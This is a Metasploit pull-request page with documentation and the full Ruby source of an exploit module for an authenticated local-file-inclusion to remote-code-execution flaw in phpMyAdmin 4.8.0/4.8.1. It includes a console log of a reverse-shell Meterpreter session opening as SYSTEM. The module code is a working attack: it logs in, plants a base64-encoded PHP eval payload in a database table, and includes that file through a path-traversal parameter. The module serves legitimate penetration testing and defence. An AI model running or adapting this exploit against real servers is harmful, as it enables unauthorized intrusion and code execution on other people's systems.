Land #10260, Add phpMyAdmin v4.8.1/4.8.0 LFI RCE
Shelby Pace
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## Description
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phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1.
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## Vulnerable Application
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[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0
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## Verification Steps
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1. `./msfconsole -q`
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2. `use exploit/multi/http/phpmyadmin_lfi_rce`
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3. `set rhosts <rhost>`
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4. `run`
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## Scenarios
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### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1
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```
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msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
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msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122
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rhosts => 172.22.222.122
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msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
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[*] Started reverse TCP handler on 172.22.222.190:4444
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[*] Sending stage (37775 bytes) to 172.22.222.122
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[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500
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meterpreter > getuid
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Server username: SYSTEM (0)
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meterpreter > sysinfo
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Computer :
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OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586
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Meterpreter : php/windows
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meterpreter >
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
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'Description' => %q{
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phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
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which can be exploited post-authentication to execute PHP code by
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application. The module has been tested with phpMyAdmin v4.8.1.
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},
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'Author' =>
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[
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'ChaMd5', # Vulnerability discovery and PoC
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'Henry Huang', # Vulnerability discovery and PoC
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'Jacob Robles' # Metasploit Module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '104532' ],
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[ 'CVE', '2018-12613' ],
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[ 'CWE', '661' ],
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[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
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[ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
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[ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
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],
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'Privileged' => false,
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'Platform' => [ 'php' ],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'Windows', {} ],
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[ 'Linux', {} ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 19 2018'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
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OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
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OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
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])
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end
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def check
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begin
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res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
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rescue
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vprint_error("#{peer} - Unable to connect to server")
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return Exploit::CheckCode::Unknown
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end
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if res.nil? || res.code != 200
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vprint_error("#{peer} - Unable to query /js/messages.php")
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return Exploit::CheckCode::Unknown
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end
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# v4.8.0 || 4.8.1 phpMyAdmin
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if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
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version = Gem::Version.new($1)
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vprint_status("#{peer} - phpMyAdmin version: #{version}")
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if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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return Exploit::CheckCode::Unknown
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end
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def query(uri, qstring, cookies, token)
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'import.php'),
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'cookie' => cookies,
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'vars_post' => Hash[{
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'sql_query' => qstring,
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'db' => '',
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'table' => '',
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'token' => token
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}.to_a.shuffle]
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})
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end
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def lfi(uri, data_path, cookies, token)
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'index.php'),
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'cookie' => cookies,
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'encode_params' => false,
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'vars_get' => {
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'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
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}
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})
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end
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def exploit
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unless check == Exploit::CheckCode::Appears
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fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
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end
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uri = target_uri.path
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vprint_status("#{peer} - Grabbing CSRF token...")
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response = send_request_cgi({'uri' => uri})
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if response.nil?
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fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
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elsif response.body !~ /token"\s*value="(.*?)"/
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fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
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end
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token = Rex::Text.html_decode($1)
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if target.name =~ /Automatic/
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/\((?<srv>Win.*)?\)/ =~ response.headers['Server']
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mytarget = srv.nil? ? 'Linux' : 'Windows'
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else
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mytarget = target.name
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end
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vprint_status("#{peer} - Identified #{mytarget} target")
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#Pull out the last two cookies
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cookies = response.get_cookies
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cookies = cookies.split[-2..-1].join(' ')
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vprint_status("#{peer} - Retrieved token #{token}")
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vprint_status("#{peer} - Retrieved cookies #{cookies}")
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vprint_status("#{peer} - Authenticating...")
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login = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'index.php'),
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'cookie' => cookies,
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'vars_post' => {
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'token' => token,
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'pma_username' => datastore['USERNAME'],
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'pma_password' => datastore['PASSWORD']
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}
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})
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if login.nil? || login.code != 302
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fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
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end
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#Ignore the first cookie
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cookies = login.get_cookies
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cookies = cookies.split[1..-1].join(' ')
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vprint_status("#{peer} - Retrieved cookies #{cookies}")
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login_check = send_request_cgi({
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'uri' => normalize_uri(uri, 'index.php'),
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'vars_get' => { 'token' => token },
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'cookie' => cookies
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})
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if login_check.nil?
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fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
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elsif login_check.body.include? 'Welcome to'
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fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
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elsif login_check.body !~ /token"\s*value="(.*?)"/
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fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
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end
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token = Rex::Text.html_decode($1)
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vprint_status("#{peer} - Authentication successful")
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#Generating strings/payload
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database = rand_text_alpha_lower(5)
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table = rand_text_alpha_lower(5)
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column = rand_text_alpha_lower(5)
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col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"
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#Preparing sql queries
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dbsql = "CREATE DATABASE #{database};"
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tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
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dropsql = "DROP DATABASE #{database};"
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dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'
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#Create database
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res = query(uri, dbsql, cookies, token)
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if res.nil? || res.code != 200
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fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
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end
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#Create table and column
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res = query(uri, tablesql, cookies, token)
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if res.nil? || res.code != 200
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fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
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end
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#Find datadir
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res = query(uri, dirsql, cookies, token)
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if res.nil? || res.code != 200
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fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
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end
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unless res.body =~ /^<td data.*?>(.*)?</
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fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
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end
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#Creating include path
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if mytarget == 'Windows'
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#Table file location
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data_path = $1.gsub(/\\/, '/')
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data_path = data_path.sub(/^.*?\//, '/')
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data_path << "#{database}/#{table}.frm"
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else
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#Session path location
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/phpMyAdmin=(?<session_name>.*?);/ =~ cookies
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data_path = "/var/lib/php/sessions/sess_#{session_name}"
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end
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res = lfi(uri, data_path, cookies, token)
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#Drop database
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res = query(uri, dropsql, cookies, token)
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if res.nil? || res.code != 200
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print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
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end
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end
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end
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